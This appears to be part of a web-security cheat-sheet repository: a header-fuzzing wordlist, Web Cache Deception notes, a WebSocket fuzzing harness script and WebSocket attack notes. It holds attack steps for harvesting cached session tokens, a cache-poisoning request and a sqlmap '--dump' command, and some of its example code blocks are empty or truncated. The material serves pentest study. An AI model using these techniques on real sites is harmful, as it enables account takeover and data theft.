FILE: Web Cache Deception/Intruders/param_miner_lowercase_headers.txt
================================================
accept
accept-application
accept-charset
accepted
accept-encoding
accept-encodxng
accept-language
accept-ranges
accept-version
access-control-allow-credentials
access-control-allow-headers
access-control-allow-methods
access-control-allow-origin
access-control-expose-headers
access-control-max-age
access-control-request-headers
access-control-request-method
accesskey
access-token
action
admin
age
ajax
akamai-origin-hop
allow
alt-used
app
appcookie
app-env
app-key
apply-to-redirect-ref
appname
appversion
atcept-language
auth
auth-any
auth-basic
auth-digest
auth-digest-ie
authentication
auth-gssneg
auth-key
auth-ntlm
authorization
auth-password
auth-realm
auth-type
auth-user
bad-gateway
bad-request
bae-env-addr-bcms
bae-env-addr-bcs
bae-env-addr-bus
bae-env-addr-channel
bae-env-addr-sql-ip
bae-env-addr-sql-port
bae-env-ak
bae-env-appid
bae-env-sk
bae-logid
bar
base
base-url
basic
bearer-indication
body-maxlength
body-truncated
brief
browser-user-agent
cache-control
cache-info
case-files
catalog
catalog-server
category
cert-cookie
cert-flags
cert-issuer
cert-keysize
cert-secretkeysize
cert-serialnumber
cert-server-issuer
cert-server-subject
cert-subject
cf-connecting-ip
cf-ipcountry
cf-template-path
cf-visitor
ch
challenge-response
charset
chunk-size
client
client-address
clientaddress
client-bad-request
client-conflict
client-error-cannot-access-local-file
client-error-cannot-connect
client-error-communication-failure
client-error-connect
client-error-invalid-parameters
client-error-invalid-server-address
client-error-no-error
client-error-protocol-failure
client-error-unspecified-error
client-expectation-failed
client-forbidden
client-gone
client-ip
clientip
client-length-required
client-method-not-allowed
client-not-acceptable
client-not-found
client-payment-required
client-precondition-failed
client-proxy-auth-required
client-quirk-mode
client-requested-range-not-possible
client-request-timeout
client-request-too-large
client-request-uri-too-large
client-unauthorized
client-unsupported-media-type
cloudfront-viewer-country
cloudinary-name
cloudinary-public-id
cloudinaryurl
cloudinary-version
code
coming-from
command
compress
conflict
connection
connection-type
contact
content
content-disposition
content-encoding
content-language
content-length
content-location
content-md5
content-range
content-security-policy
content-security-policy-report-only
content-type
content-type-xhtml
context-path
continue
cookie
cookie2
cookie-domain
cookie-httponly
cookie-parse-raw
cookie-path
cookies
cookie-secure
cookie-vars
core-base
created
credentials-filepath
curl
curl-multithreaded
custom-header
custom-secret-header
dataserviceversion
date
debug
deflate-level-def
deflate-level-max
deflate-level-min
deflate-strategy-def
deflate-strategy-filt
deflate-strategy-fixed
deflate-strategy-huff
deflate-strategy-rle
deflate-type-gzip
deflate-type-raw
deflate-type-zlib
delete
depth
destination
destroy
devblocksproxybase
devblocksproxyhost
devblocksproxyssl
device-stock-ua
digest
dir
dir-name
dir-resource
disable-gzip
dkim-signature
dnt
download-attachment
download-bad-url
download-bz2
download-cut-short
download-e-headers-sent
download-e-invalid-archive-type
download-e-invalid-content-type
download-e-invalid-file
download-e-invalid-param
download-e-invalid-request
download-e-invalid-resource
download-e-no-ext-mmagic
download-e-no-ext-zlib
download-inline
download-mime-type
download-no-server
download-size
download-status-not-found
download-status-server-error
download-status-unauthorized
download-status-unknown
download-tar
download-tgz
download-url
download-zip
e-encoding
e-header
e-invalid-param
e-malformed-headers
e-message-type
enable-gzip
enable-no-cache-headers
encoding-stream-flush-full
encoding-stream-flush-none
encoding-stream-flush-sync
env-silla-environment
env-vars
e-querystring
e-request
e-request-method
e-request-pool
e-response
error
error-1
error-2
error-3
error-4
error-formatting-html
e-runtime
e-socket
espo-authorization
espo-cgi-auth
etag
e-url
eve-charid
eve-charname
eve-solarsystemid
eve-solarsystemname
eve-trusted
ex-copy-movie
expect
expectation-failed
expires
ext
failed-dependency
fake-header
fastly-client-ip
fb-appid
fb-secret
filename
file-not-found
files
files-vars
fire-breathing-dragon
foo
foo-bar
forbidden
force-language
force-local-xhprof
format
forwarded
forwarded-for
forwarded-for-ip
forwarded-proto
from
fromlink
front-end-https
gateway-interface
gateway-time-out
get
get-vars
givenname
global-all
global-cookie
global-get
global-post
gone
google-code-project-hosting-hook-hmac
gzip-level
h0st
head
header
header-lf
header-status-client-error
header-status-informational
header-status-redirect
header-status-server-error
header-status-successful
home
host
host~%h:%s
hosti
host-liveserver
host-name
host-unavailable
htaccess
http-accept
http-accept-encoding
http-accept-language
http-authorization
http-connection
http-cookie
http-host
http-phone-number
http-referer
https
https-from-lb
https-keysize
http_sm_authdirname
http_sm_authdirnamespace
http_sm_authdiroid
http_sm_authdirserver
http_sm_authreason
http_sm_authtype
http_sm_dominocn
http_sm_realm
http_sm_realmoid
http_sm_sdomain
http_sm_serveridentityspec
http_sm_serversessionid
http_sm_serversessionspec
http_sm_sessiondrift
http_sm_timetoexpire
http_sm_transactionid
http_sm_universalid
http_sm_user
http_sm_userdn
http_sm_usermsg
https-secretkeysize
https-server-issuer
https-server-subject
http-url
http-user-agent
if
if-match
if-modified-since
if-modified-since-version
if-none-match
if-posted-before
if-range
if-unmodified-since
if-unmodified-since-version
image
images
incap-client-ip
info
info-download-size
info-download-time
info-return-code
info-total-request-stat
info-total-response-stat
insufficient-storage
internal-server-error
ipresolve-any
ipresolve-v4
ipresolve-v6
ischedule-version
iv-groups
iv-user
jenkins
keep-alive
kiss-rpc
large-allocation
last-event-id
last-modified
length-required
link
local-addr
local-content-sha1
local-dir
location
locked
lock-token
mail
max-conn
maxdataserviceversion
max-forwards
max-request-size
max-uri-length
message
message-b
meth-
meth-acl
meth-baseline-control
meth-checkin
meth-checkout
meth-connect
meth-copy
meth-delete
meth-get
meth-head
meth-label
meth-lock
meth-merge
meth-mkactivity
meth-mkcol
meth-mkworkspace
meth-move
method
method-not-allowed
meth-options
meth-post
meth-propfind
meth-proppatch
meth-put
meth-report
meth-trace
meth-uncheckout
meth-unlock
meth-update
meth-version-control
mimetype
modauth
mode
mod-env
mod-rewrite
mod-security-message
module-class
module-class-path
module-name
moved-permanently
moved-temporarily
ms-asprotocolversion
msg-none
msg-request
msg-response
msisdn
multipart-boundary
multiple-choices
multi-status
my-header
mysqlport
native-sockets
nl
no-content
non-authoritative
nonce
not-acceptable
not-exists
not-extended
not-found
notification-template
not-implemented
not-modified
oc-chunked
ocs-apirequest
ok
on-behalf-of
onerror-continue
onerror-die
onerror-return
opencart
options
organizer
origin
originator
origin~https://%s.%h
orig_path_info
overwrite
params-allow-comma
params-allow-failure
params-default
params-get-catid
params-get-currentday
params-get-disposition
params-get-downwards
params-get-givendate
params-get-lang
params-get-type
params-raise-error
partial-content
passkey
password
path
path-base
path-info
path-themes
path-translated
payment-required
pc-remote-addr
phone-number
php
php-auth-pw
php-auth-user
phpthreads
pink-pony
port
portsensor-auth
post
post-error
post-files
postredir-301
postredir-302
postredir-all
post-vars
pragma
pragma-no-cache
precondition-failed
prefer
processing
profile
protocol
protocols
proxy
proxy-agent
proxy-authenticate
proxy-authentication-required
proxy-authorization
proxy-connection
proxy-host
proxy-http
proxy-http-1-0
proxy-password
proxy-port
proxy-pwd
proxy-request-fulluri
proxy-socks4
proxy-socks4a
proxy-socks5
proxy-socks5-hostname
proxy-url
proxy-user
public-key-pins
public-key-pins-report-only
pull
put
query-string
querystring
querystring-type-array
querystring-type-bool
querystring-type-float
querystring-type-int
querystring-type-object
querystring-type-string
range
range-not-satisfiable
raw-post-data
read-state-begin
read-state-body
read-state-headers
real-ip
real-method
reason
reason-phrase
recipient
redirect
redirected-accept-language
redirect-found
redirection-found
redirection-multiple-choices
redirection-not-modified
redirection-permanent
redirection-see-other
redirection-temporary
redirection-unused
redirection-use-proxy
redirect-perm
redirect-post
redirect-problem-withoutwww
redirect-problem-withwww
redirect-proxy
redirect-temp
ref
referer
referer
referer~http://%s.%h/
referrer
referrer-policy
refferer
refresh
remix-hash
remote-addr
remote-host
remote-host-wp
remote-user
remote-userhttps
report-to
request
request2-tests-base-url
request2-tests-proxy-host
request-entity-too-large
request-error
request-error-file
request-error-gzip-crc
request-error-gzip-data
request-error-gzip-method
request-error-gzip-read
request-error-proxy
request-error-redirects
request-error-response
request-error-url
request-http-ver-1-0
request-http-ver-1-1
request-mbstring
request-method
request-method-
request-method-delete
request-method-get
request-method-head
request-method-options
request-method-post
request-method-put
request-method-trace
request-time-out
request-timeout
requesttoken
__requesturi
request-uri
request-uri-too-large
request-vars
__requestverb
reset-content
response
rest-key
rest-sign
retry-after
returned-error
rlnclientipaddr
root
safe-ports-list
safe-ports-ssl-list
schedule-reply
scheme
script-name
secretkey
sec-websocket-accept
sec-websocket-extensions
sec-websocket-key
sec-websocket-key1
sec-websocket-key2
sec-websocket-origin
sec-websocket-protocol
sec-websocket-version
see-other
self
send-x-frame-options
server
server-bad-gateway
server-error
server-gateway-timeout
server-internal
server-name
server-not-implemented
server-port
server-port-secure
server-protocol
server-service-unavailable
server-software
server-unsupported-version
server-vars
server-varsabantecart
service-unavailable
session-id-tag
session-vars
set-cookie
set-cookie2
shib-
shib-application-id
shib-identity-provider
shib-logouturl
shopilex
slug
sn
soapaction
socket-connection-err
socketlog
somevar
sourcemap
sp-client
sp-host
ssl
ssl-https
ssl-offloaded
ssl-session-id
sslsessionid
ssl-version-any
status
status-
status-403
status-403-admin-del
status-404
status-bad-request
status-code
status-forbidden
status-ok
status-platform-403
strict-transport-security
str-match
success-accepted
success-created
success-no-content
success-non-authoritative
success-ok
success-partial-content
success-reset-content
support
support-encodings
support-events
support-magicmime
support-requests
support-sslrequests
surrogate-capability
switching-protocols
te
temporary-redirect
test
test-config
test-server-path
test-something-anything
ticket
time-out
timeout
timing-allow-origin
title
tk
tmp
token
trailer
transfer-encoding
translate
transport-err
true-client-ip
ua
ua-color
ua-cpu
ua-os
ua-pixels
ua-resolution
ua-voice
unauthorized
unencoded-url
unit-test-mode
unless-modified-since
unprocessable-entity
unsupported-media-type
upgrade
upgrade-insecure-requests
upgrade-required
upload-default-chmod
uri
url
url-from-env
url-join-path
url-join-query
url-replace
url-sanitize-path
url-strip-
url-strip-all
url-strip-auth
url-strip-fragment
url-strip-pass
url-strip-path
url-strip-port
url-strip-query
url-strip-user
use-gzip
use-proxy
user
user-agent
useragent
user-agent-via
useragent-via
user-email
user-id
user-mail
user-name
user-photos
util
variant-also-varies
vary
verbose
verbose-throttle
verify-cert
version
version-1-0
version-1-1
version-any
versioncode
version-none
version-not-supported
via
viad
wap-connection
warning
webodf-member-id
webodf-session-id
webodf-session-revision
web-server-api
work-directory
www-address
www-authenticate
x
x-
x-aastra-expmod1
x-aastra-expmod2
x-aastra-expmod3
x-accel-mapping
x-access-token
x-advertiser-id
x-ajax-real-method
x-alto-ajax-keyz
x-amz-date
x-amzn-remapped-host
x-amz-website-redirect-location
x-api-key
x-api-signature
x-api-timestamp
x-apitoken
x-apple-client-application
x-apple-store-front
x-arr-log-id
x-arr-ssl
x-att-deviceid
x-authentication
x-authentication-key
x-auth-key
x-auth-mode
x-authorization
xauthorization
x-auth-password
x-auth-service-provider
x-auth-token
x-auth-user
x-auth-userid
x-auth-username
x-avantgo-screensize
x-azc-remote-addr
x-bear-ajax-request
x-bluecoat-via
x-bolt-phone-ua
x-browser-height
x-browser-width
x-cascade
x-cept-encoding
x-cf-url
x-chrome-extension
x-cisco-bbsm-clientip
x-client-host
x-client-id
x-client-ip
x-clientip
x-client-key
x-client-os
x-client-os-ver
x-cluster-client-ip
x-codeception-codecoverage
x-codeception-codecoverage-config
x-codeception-codecoverage-debug
x-codeception-codecoverage-suite
x-collect-coverage
x-coming-from
x-confirm-delete
x-content-type
x-content-type-options
x-credentials-request
x-csrf-crumb
x-csrf-token
x-csrftoken
x-cuid
x-custom
x-dagd-proxy
x-davical-testcase
x-dcmguid
x-debug-test
x-device-user-agent
x-dialog
x-dns-prefetch-control
x-dokuwiki-do
x-do-not-track
x-drestcg
x-dsid
x-elgg-apikey
x-elgg-hmac
x-elgg-hmac-algo
x-elgg-nonce
x-elgg-posthash
x-elgg-posthash-algo
x-elgg-time
x-em-uid
x-enable-coverage
x-environment-override
x-expected-entity-length
x-experience-api-version
x-fb-user-remote-addr
x-file-id
x-file-name
x-filename
x-file-resume
x-file-size
x-file-type
x-firelogger
x-fireloggerauth
x-firephp-version
x-flash-version
x-flx-consumer-key
x-flx-consumer-secret
x-flx-redirect-url
x-foo
x-foo-bar
x-forwarded
x-forwarded-by
x-forwarded-for
x-forwarded-for-original
x-forwarded-host
x-forwarded-host~%s.%h
x-forwarded-port
x-forwarded-proto
x-forwarded-protocol
x-forwarded-scheme
x-forwarded-server
x-forwarded-server~%s.%h
x-forwarded-ssl
x-forwarded-ssl
x-forwarder-for
x-forward-for
x-forward-proto
x-from
x-gb-shared-secret
x-geoip-country
x-get-checksum
x-helpscout-event
x-helpscout-signature
x-hgarg-
x-host
x-http-destinationurl
x-http-host-override
x-http-method
x-http-method-override
x-http-path-override
x-https
x-http-status-code-override
x-htx-agent
x-huawei-userid
x-hub-signature
x-if-unmodified-since
x-imbo-test-config
x-insight
x-ip
x-ip-trail
x-iwproxy-nesting
x-jphone-color
x-jphone-display
x-jphone-geocode
x-jphone-msname
x-jphone-uid
x-json
x-kaltura-remote-addr
x-known-signature
x-known-username
x-litmus
x-litmus-second
x-locking
x-machine
x-mandrill-signature
x-method-override
x-mobile-gateway
x-mobile-ua
x-mosso-dt
x-moz
x-msisdn
x-ms-policykey
x-myqee-system-debug
x-myqee-system-hash
x-myqee-system-isadmin
x-myqee-system-isrest
x-myqee-system-pathinfo
x-myqee-system-project
x-myqee-system-rstr
x-myqee-system-time
x-network-info
x-nfsn-https
x-ning-request-uri
x-nokia-bearer
x-nokia-connection-mode
x-nokia-gateway-id
x-nokia-ipaddress
x-nokia-msisdn
x-nokia-wia-accept-original
x-nokia-wtls
x-nuget-apikey
x-oc-mtime
xonnection
x-opera-info
x-operamini-features
x-operamini-phone
x-operamini-phone-ua
x-options
x-orange-id
x-orchestra-scheme
x-orig-client
x-original-host
x-original-http-command
x-originally-forwarded-for
x-originally-forwarded-proto
x-original-remote-addr
x-original-url
x-original-url~/%s
x-original-user-agent
x-originating-ip
x-os-prefs
x-overlay
x-pagelet-fragment
x-password
xpdb-debugger
x-phabricator-csrf
x-phpbb-using-plupload
x-pjax
x-pjax-container
x-prototype-version
xproxy
x-proxy-url
x-pswd
x-purpose
x-qafoo-profiler
x-real-ip
x-remote-addr
x-remote-protocol
x-render-partial
x-request
x-requested-with
x-request-id
x-request-signature
x-request-start
x-request-timestamp
x-response-format
x-rest-cors
x-rest-password
x-rest-username
x-rewrite-url
x-rewrite-url~/%s
xroxy-connection
x-sakura-forwarded-for
x-scalr-auth-key
x-scalr-auth-token
x-scalr-env-id
x-scheme
x-screen-height
x-screen-width
x-sendfile-type
x-serialize
x-serial-number
x-server-id
x-server-name
x-server-port
x-signature
x-sina-proxyuser
x-skyfire-phone
x-skyfire-screen
x-ssl
x-subdomain
x-te
x-teamsite-preremap
x-test-session-id
x-tine20-jsonkey
x-tine20-request-type
x-tomboy-client
x-tor
x-twilio-signature
x-ua-device
x-ucbrowser-device-ua
x-uidh
x-unique-id
x-uniquewcid
x-up-calling-line-id
x-update
x-update-range
x-up-devcap-iscolor
x-up-devcap-post-charset
x-up-devcap-screendepth
x-up-devcap-screenpixels
x-upload-maxresolution
x-upload-name
x-upload-size
x-upload-type
x-up-subno
x-url-scheme
x-user
x-user-agent
x-username
x-varnish
x-verify-credentials-authorization
x-vodafone-3gpdpcontext
x-wap-clientid
x-wap-client-sdu-size
x-wap-gateway
x-wap-network-client-ip
x-wap-network-client-msisdn
x-wap-profile
x-wap-proxy-cookie
x-wap-session-id
x-wap-tod
x-wap-tod-coded
x-whatever
x-wikimedia-debug
x-wp-nonce
x-wp-pjax-prefetch
x-ws-api-key
x-xc-schema-version
x-xhprof-debug
x-xhr-referer
x-xmlhttprequest
x-xpid
xxx-real-ip
xxxxxxxxxxxxxxx
x-zikula-ajax-token
x-zotero-version
x-ztgo-bearerinfo
y
zotero-api-version
zotero-write-token
================================================
FILE: Web Cache Deception/README.md
================================================
# Web Cache Deception
> Web Cache Deception (WCD) is a security vulnerability that occurs when a web server or caching proxy misinterprets a client's request for a web resource and subsequently serves a different resource, which may often be more sensitive or private, after caching it.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Caching Sensitive Data](#caching-sensitive-data)
* [Caching Custom JavaScript](#caching-custom-javascript)
* [CloudFlare Caching](#cloudflare-caching)
* [Labs](#labs)
* [References](#references)
## Tools
* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Web Cache Poisoning Burp Extension
## Methodology
Example of Web Cache Deception:
Imagine an attacker lures a logged-in victim into accessing `http://www.example.com/home.php/non-existent.css`
1. The victim's browser requests the resource `http://www.example.com/home.php/non-existent.css`
2. The requested resource is searched for in the cache server, but it's not found (resource not in cache).
3. The request is then forwarded to the main server.
4. The main server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct not to cache this page.
5. The response passes through the cache server.
6. The cache server identifies that the file has a CSS extension.
7. Under the cache directory, the cache server creates a directory named home.php and caches the imposter "CSS" file (non-existent.css) inside it.
8. When the attacker requests `http://www.example.com/home.php/non-existent.css`, the request is sent to the cache server, and the cache server returns the cached file with the victim's sensitive `home.php` data.

### Caching Sensitive Data
**Example 1** - Web Cache Deception on PayPal Home Page
1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
3. The page is displayed as /home and the cache is saving the page
4. Open a private tab with the previous URL : `https://www.example.com/myaccount/home/malicious.css`
5. The content of the cache is displayed
Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
[](https://vimeo.com/249130093)
**Example 2** - Web Cache Deception on OpenAI
1. Attacker crafts a dedicated .css path of the `/api/auth/session` endpoint.
2. Attacker distributes the link
3. Victims visit the legitimate link.
4. Response is cached.
5. Attacker harvests JWT Credentials.
### Caching Custom JavaScript
1. Find an un-keyed input for a Cache Poisoning
```js
Values: User-Agent
Values: Cookie
Header: X-Forwarded-Host
Header: X-Host
Header: X-Forwarded-Server
Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)
Header: X-Original-URL (Symfony)
Header: X-Rewrite-URL (Symfony)
```
2. Cache poisoning attack - Example for `X-Forwarded-Host` un-keyed input (remember to use a buster to only cache this webpage instead of the main page of the website)
```js
GET /test?buster=123 HTTP/1.1
Host: target.com
X-Forwarded-Host: test">
HTTP/1.1 200 OK
Cache-Control: public, no-cache
[..]
">
```
## Tricks
The following URL format are a good starting point to check for "cache" feature.
* `https://example.com/app/conversation/.js?test`
* `https://example.com/app/conversation/;.js`
* `https://example.com/home.php/non-existent.css`
## Detecting Web Cache Deception
1. Detecting delimiter discrepancies: `/path/;`
* For example: `/settings/profile;script.js`
* If the origin server uses `;` as a delimiter but the cache isn't
* The cache interprets the path as: `/settings/profile;script.js`
* The origin server interprets the path as: `/settings/profile`
* For more delimiter characters: see [Web cache deception lab delimiter list](https://portswigger.net/web-security/web-cache-deception/wcd-lab-delimiter-list)
2. Detecting normalization: `/wcd/..%2fprofile`
* If the origin server resolved the path traversal sequence but the cache isn't
* The cache interprets the path as: `/wcd/..%2fprofile`
* The origin server interprets the path as: `/profile`
## CloudFlare Caching
CloudFlare caches the resource when the `Cache-Control` header is set to `public` and `max-age` is greater than 0.
* The Cloudflare CDN does not cache HTML by default
* Cloudflare only caches based on file extension and not by MIME type: [cloudflare/default-cache-behavior](https://developers.cloudflare.com/cache/about/default-cache-behavior/)
In Cloudflare CDN, one can implement a `Cache Deception Armor`, it is not enabled by default.
When the `Cache Deception Armor` is enabled, the rule will verify a URL's extension matches the returned `Content-Type`.
CloudFlare has a list of default extensions that gets cached behind their Load Balancers.
| | | | | | | |
|-------|------|------|------|------|-------|------|
| 7Z | CSV | GIF | MIDI | PNG | TIF | ZIP |
| AVI | DOC | GZ | MKV | PPT | TIFF | ZST |
| AVIF | DOCX | ICO | MP3 | PPTX | TTF | CSS |
| APK | DMG | ISO | MP4 | PS | WEBM | FLAC |
| BIN | EJS | JAR | OGG | RAR | WEBP | MID |
| BMP | EOT | JPG | OTF | SVG | WOFF | PLS |
| BZ2 | EPS | JPEG | PDF | SVGZ | WOFF2 | TAR |
| CLASS | EXE | JS | PICT | SWF | XLS | XLSX |
Exceptions and bypasses:
* If the returned Content-Type is application/octet-stream, the extension does not matter because that is typically a signal to instruct the browser to save the asset instead of to display it.
* Cloudflare allows .jpg to be served as image/webp or .gif as video/webm and other cases that we think are unlikely to be attacks.
* [Bypassing Cache Deception Armor using .avif extension file - fixed](https://hackerone.com/reports/1391635)
## Labs
* [PortSwigger Labs for Web Cache Deception](https://portswigger.net/web-security/all-labs#web-cache-poisoning)
## References
* [Cache Deception Armor - Cloudflare - May 20, 2023](https://web.archive.org/web/20230520042703/https://developers.cloudflare.com/cache/cache-security/cache-deception-armor/)
* [Exploiting cache design flaws - PortSwigger - May 4, 2020](https://web.archive.org/web/20260117063619/https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws)
* [Exploiting cache implementation flaws - PortSwigger - May 4, 2020](https://web.archive.org/web/20200919065854/https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws)
* [How I Test For Web Cache Vulnerabilities + Tips And Tricks - bombon (0xbxmbn) - July 21, 2022](https://web.archive.org/web/20251213233158/https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [OpenAI Account Takeover - Nagli (@naglinagli) - March 24, 2023](https://web.archive.org/web/20230412113849/https://twitter.com/naglinagli/status/1639343866313601024)
* [Practical Web Cache Poisoning - James Kettle (@albinowax) - August 9, 2018](https://web.archive.org/web/20180810041437/https://portswigger.net/blog/practical-web-cache-poisoning)
* [Shockwave Identifies Web Cache Deception and Account Takeover Vulnerability affecting OpenAI's ChatGPT - Nagli (@naglinagli) - July 15, 2024](https://web.archive.org/web/20251010025345/https://www.shockwave.cloud/blog/shockwave-works-with-openai-to-fix-critical-chatgpt-vulnerability)
* [Web Cache Deception Attack - Omer Gil - February 27, 2017](https://web.archive.org/web/20170308135717/https://omergil.blogspot.fr:80/2017/02/web-cache-deception-attack.html)
* [Web Cache Deception Attack leads to user info disclosure - Kunal Pandey (@kunal94) - February 25, 2019](https://web.archive.org/web/20191217174659/https://medium.com/@kunal94/web-cache-deception-attack-leads-to-user-info-disclosure-805318f7bb29)
* [Web Cache Entanglement: Novel Pathways to Poisoning - James Kettle (@albinowax) - August 5, 2020](https://web.archive.org/web/20200805185253/https://portswigger.net/research/web-cache-entanglement)
* [Web cache poisoning - PortSwigger - May 4, 2020](https://web.archive.org/web/20200416160055/https://portswigger.net/web-security/web-cache-poisoning)
================================================
FILE: Web Sockets/Files/ws-harness.py
================================================
#!/usr/bin/python
from __future__ import print_function
import socket,ssl
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from websocket import create_connection, WebSocket
from urlparse import parse_qs
import argparse
import os
LOOP_BACK_PORT_NUMBER = 8000
def FuzzWebSocket(fuzz_value):
print(fuzz_value)
ws.send(ws_message.replace("[FUZZ]", str(fuzz_value[0])))
result = ws.recv()
return result
def LoadMessage(file):
file_contents = ""
try:
if os.path.isfile(file):
f = open(file,'r')
file_contents = f.read()
f.close()
except:
print("Error reading file: %s" % file)
exit()
return file_contents
class myWebServer(BaseHTTPRequestHandler):
#Handler for the GET requests
def do_GET(self):
qs = parse_qs(self.path[2:])
fuzz_value = qs['fuzz']
result = FuzzWebSocket(fuzz_value)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write(result)
return
parser = argparse.ArgumentParser(description='Web Socket Harness: Use traditional tools to assess web sockets')
parser.add_argument('-u','--url', help='The remote WebSocket URL to target.',required=True)
parser.add_argument('-m','--message', help='A file that contains the WebSocket message template to send. Please place [FUZZ] where injection is desired.',required=True)
args = parser.parse_args()
ws_message = LoadMessage(args.message)
ws = create_connection(args.url,sslopt={"cert_reqs": ssl.CERT_NONE},header={},http_proxy_host="", http_proxy_port=8080)
try:
#Create a web server and define the handler to manage the
#incoming request
server = HTTPServer(('', LOOP_BACK_PORT_NUMBER), myWebServer)
print('Started httpserver on port ' , LOOP_BACK_PORT_NUMBER)
#Wait forever for incoming http requests
server.serve_forever()
except KeyboardInterrupt:
print('^C received, shutting down the web server')
server.socket.close()
ws.close()
================================================
FILE: Web Sockets/README.md
================================================
# Web Sockets
> WebSocket is a communication protocol that provides full-duplex communication channels over a single, long-lived connection. This enables real-time, bi-directional communication between clients (typically web browsers) and servers through a persistent connection. WebSockets are commonly used for web applications that require frequent, low-latency updates, such as live chat applications, online gaming, real-time notifications, and financial trading platforms.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Web Socket Protocol](#web-socket-protocol)
* [SocketIO](#socketio)
* [Using wsrepl](#using-wsrepl)
* [Using ws-harness.py](#using-ws-harnesspy)
* [Cross-Site WebSocket Hijacking (CSWSH)](#cross-site-websocket-hijacking-cswsh)
* [Labs](#labs)
* [References](#references)
## Tools
* [doyensec/wsrepl](https://github.com/doyensec/wsrepl) - WebSocket REPL for pentesters
* [mfowl/ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
* [PortSwigger/websocket-turbo-intruder](https://github.com/PortSwigger/websocket-turbo-intruder) - Fuzz WebSockets with custom Python code
* [snyk/socketsleuth](https://github.com/snyk/socketsleuth) - Burp Extension to add additional functionality for pentesting websocket based applications
## Methodology
### Web Socket Protocol
WebSockets start as a normal `HTTP/1.1` request and then upgrade the connection to use the WebSocket protocol.
The client sends a specially crafted HTTP request with headers indicating it wants to switch to the WebSocket protocol:
```http
GET /chat HTTP/1.1
Host: example.com:80
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
```
Server responds with an `HTTP 101 Switching Protocols` response. If the server accepts the request, it replies like this.
```http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```
### SocketIO
Socket.IO is a JavaScript library (for both client and server) that provides a higher-level abstraction over WebSockets, designed to make real-time communication easier and more reliable across browsers and environments.
### Using wsrepl
`wsrepl`, a tool developed by Doyensec, aims to simplify the auditing of websocket-based apps. It offers an interactive REPL interface that is user-friendly and easy to automate. The tool was developed during an engagement with a client whose web application heavily relied on WebSockets for soft real-time communication.
wsrepl is designed to provide a balance between an interactive REPL experience and automation. It is built with Python’s TUI framework Textual, and it interoperates with curl’s arguments, making it easy to transition from the Upgrade request in Burp to wsrepl. It also provides full transparency of WebSocket opcodes as per RFC 6455 and has an automatic reconnection feature in case of disconnects.
```ps1
pip install wsrepl
wsrepl -u URL -P auth_plugin.py
```
Moreover, wsrepl simplifies the process of transitioning into WebSocket automation. Users just need to write a Python plugin. The plugin system is designed to be flexible, allowing users to define hooks that are executed at various stages of the WebSocket lifecycle (init, on_message_sent, on_message_received, ...).
```py
from wsrepl import Plugin
from wsrepl.WSMessage import WSMessage
import json
import requests
class Demo(Plugin):
def init(self):
token = requests.get("https://example.com/uuid").json()["uuid"]
self.messages = [
json.dumps({
"auth": "session",
"sessionId": token
})
]
async def on_message_sent(self, message: WSMessage) -> None:
original = message.msg
message.msg = json.dumps({
"type": "message",
"data": {
"text": original
}
})
message.short = original
message.long = message.msg
async def on_message_received(self, message: WSMessage) -> None:
original = message.msg
try:
message.short = json.loads(original)["data"]["text"]
except:
message.short = "Error: could not parse message"
message.long = original
```
### Using ws-harness.py
Start `ws-harness` to listen on a web-socket, and specify a message template to send to the endpoint.
```powershell
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
```
The content of the message should contains the **[FUZZ]** keyword.
```json
{
"auth_user":"dGVzda==",
"auth_pass":"[FUZZ]"
}
```
Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.
```python
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
```
## Cross-Site WebSocket Hijacking (CSWSH)
If the WebSocket handshake is not correctly protected using a CSRF token or a
nonce, it's possible to use the authenticated WebSocket of a user on an
attacker's controlled site because the cookies are automatically sent by the
browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).
Example exploit, hosted on an attacker's server, that exfiltrates the received
data from the WebSocket to the attacker:
```html
```
You have to adjust the code to your exact situation. E.g. if your web
application uses a `Sec-WebSocket-Protocol` header in the handshake request,
you have to add this value as a 2nd parameter to the `WebSocket` function call
in order to add this header.
## Labs
* [PortSwigger - Manipulating WebSocket messages to exploit vulnerabilities](https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities)
* [PortSwigger - Cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab)
* [PortSwigger - Manipulating the WebSocket handshake to exploit vulnerabilities](https://portswigger.net/web-security/websockets/lab-manipulating-handshake-to-exploit-vulnerabilities)
* [Root Me - Web Socket - 0 protection](https://www.root-me.org/en/Challenges/Web-Client/Web-Socket-0-protection)
## References
* [Cross Site WebSocket Hijacking with socketio - Jimmy Li - August 17, 2020](https://web.archive.org/web/20201031111408/https://blog.jimmyli.us/articles/2020-08/Cross-Site-WebSocket-Hijacking-With-SocketIO)
* [Hacking Web Sockets: All Web Pentest Tools Welcomed - Michael Fowl - March 5, 2019](https://web.archive.org/web/20190306170840/https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/)
